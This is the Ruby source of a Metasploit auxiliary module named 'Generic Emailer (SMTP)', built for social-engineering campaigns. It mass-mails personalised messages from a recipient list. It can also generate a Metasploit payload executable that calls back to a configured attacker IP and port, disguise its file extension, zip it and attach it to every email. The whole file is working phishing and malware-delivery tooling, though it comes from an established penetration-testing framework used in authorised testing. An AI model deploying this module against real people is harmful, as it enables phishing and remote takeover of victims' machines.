Generic Emailer (SMTP)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'yaml'

class MetasploitModule < Msf::Auxiliary

  #
  # This module sends email messages via smtp
  #
  include Msf::Exploit::Remote::SMTPDeliver
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Generic Emailer (SMTP)',
      'Description'    => %q{
          This module can be used to automate email delivery.
        This code is based on Joshua Abraham's email script for social
        engineering.
      },
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://spl0it.org/' ],
        ],
      'Author'         => [ 'et <et[at]metasploit.com>' ]))

      register_options(
        [
          OptString.new('RHOST', [true, "SMTP server address",'127.0.0.1']),
          OptPort.new('RPORT', [true, "SMTP server port", 25]),
          OptString.new('YAML_CONFIG', [true, "Full path to YAML Configuration file",
            File.join(Msf::Config.data_directory,"emailer_config.yaml")]),
        ])

    # Hide this option from the user
    deregister_options('MAILTO')
    deregister_options('SUBJECT')
  end

  def load_yaml_conf
    opts = {}

    File.open(datastore['YAML_CONFIG'], "rb") do |f|
      yamlconf = YAML::load(f)

      opts['to']                   = yamlconf['to']
      opts['from']                 = yamlconf['from']
      opts['subject']              = yamlconf['subject']
      opts['type']                 = yamlconf['type']
      opts['msg_file']             = yamlconf['msg_file']
      opts['wait']                 = yamlconf['wait']
      opts['add_name']             = yamlconf['add_name']
      opts['sig']                  = yamlconf['sig']
      opts['sig_file']             = yamlconf['sig_file']
      opts['attachment']           = yamlconf['attachment']
      opts['attachment_file']      = yamlconf['attachment_file']
      opts['attachment_file_type'] = yamlconf['attachment_file_type']
      opts['attachment_file_name'] = yamlconf['attachment_file_name']

      ### payload options ###
      opts['make_payload']         = yamlconf['make_payload']
      opts['zip_payload']          = yamlconf['zip_payload']
      opts['msf_port']             = yamlconf['msf_port']
      opts['msf_ip']               = yamlconf['msf_ip']
      opts['msf_payload']          = yamlconf['msf_payload']
      opts['msf_filename']         = yamlconf['msf_filename']
      opts['msf_change_ext']       = yamlconf['msf_change_ext']
      opts['msf_payload_ext']      = yamlconf['msf_payload_ext']
    end

    opts
  end

  def load_file(fname)
    buf = ''
    File.open(fname, 'rb') do |f|
      buf = f.read
    end

    buf
  end

  def run

    yamlconf = load_yaml_conf

    fileto               = yamlconf['to']
    from                 = yamlconf['from']
    subject              = yamlconf['subject']
    type                 = yamlconf['type']
    msg_file             = yamlconf['msg_file']
    wait                 = yamlconf['wait']
    add_name             = yamlconf['add_name']
    sig                  = yamlconf['sig']
    sig_file             = yamlconf['sig_file']
    attachment           = yamlconf['attachment']
    attachment_file      = yamlconf['attachment_file']
    attachment_file_type = yamlconf['attachment_file_type']
    attachment_file_name = yamlconf['attachment_file_name']

    make_payload         = yamlconf['make_payload']
    zip_payload          = yamlconf['zip_payload']
    msf_port             = yamlconf['msf_port']
    msf_ip               = yamlconf['msf_ip']
    msf_payload          = yamlconf['msf_payload']
    msf_filename         = yamlconf['msf_filename']
    msf_change_ext       = yamlconf['msf_change_ext']
    msf_payload_ext      = yamlconf['msf_payload_ext']

    tmp = Dir.tmpdir

    datastore['MAILFROM'] = from

    msg       = load_file(msg_file)

    if (type !~ /text/i and type !~ /text\/html/i)
      print_error("YAML config: #{type}")
    end

    if make_payload
      attachment_file = File.join(tmp, msf_filename)
      attachment_file_name = msf_filename

      print_status("Creating payload...")
      mod = framework.payloads.create(msf_payload)
      if (not mod)
        print_error("Failed to create payload, #{msf_payload}")
        return
      end

      # By not passing an explicit encoder, we're asking the
      # framework to pick one for us.  In general this is the best
      # way to encode.
      buf = mod.generate_simple(
          'Format'  => 'raw',
          'Options' => { "LHOST"=>msf_ip, "LPORT"=>msf_port }
        )
      exe = generate_payload_exe({
          :code => buf,
          :arch => mod.arch,
          :platform => mod.platform
        })

      print_status("Writing payload to #{attachment_file}")
      File.open(attachment_file, "wb") do |f|
        f.write(exe)
      end

      if msf_change_ext
        msf_payload_newext = attachment_file
        msf_payload_newext = msf_payload_newext.sub(/\.\w+$/, ".#{msf_payload_ext}")
        File.rename(attachment_file, msf_payload_newext)
        attachment_file = msf_payload_newext
      end

      if zip_payload
        zip_file = attachment_file.sub(/\.\w+$/, '.zip')
        print_status("Zipping payload to #{zip_file}")
        File.write(zip_file, Msf::Util::EXE.to_zip([fname: File.basename(attachment_file), data: exe]), mode: 'wb')
        attachment_file      = zip_file
        attachment_file_type = 'application/zip'
      else
        attachment_file_type = 'application/exe'
      end

    end


    File.open(fileto, 'rb').each do |l|
      next if l !~ /\@/

      nem = l.split(',')
      name = nem[0].split(' ')
      fname = name[0]
      lname = name[1]
      email = nem[1].strip


      if add_name
        email_msg_body = "#{fname},\n\n#{msg}"
      else
        email_msg_body = msg
      end

      if sig
        data_sig = load_file(sig_file)
        email_msg_body = "#{email_msg_body}\n#{data_sig}"
      end

      print_status("Emailing #{name[0]} #{name[1]} at #{email}")

      mime_msg = Rex::MIME::Message.new
      mime_msg.mime_defaults

      mime_msg.from = from
      mime_msg.to = email
      datastore['MAILTO'] = email.strip
      mime_msg.subject = subject

      mime_msg.add_part(Rex::Text.encode_base64(email_msg_body, "\r\n"), type, "base64", "inline")

      if attachment
        if attachment_file_name
          data_attachment = load_file(attachment_file)
          mime_msg.add_part(Rex::Text.encode_base64(data_attachment, "\r\n"), attachment_file_type, "base64", "attachment; filename=\"#{attachment_file_name}\"")
        end
      end

      send_message(mime_msg.to_s)
      select(nil,nil,nil,wait)
    end

    print_status("Email sent..")
  end
end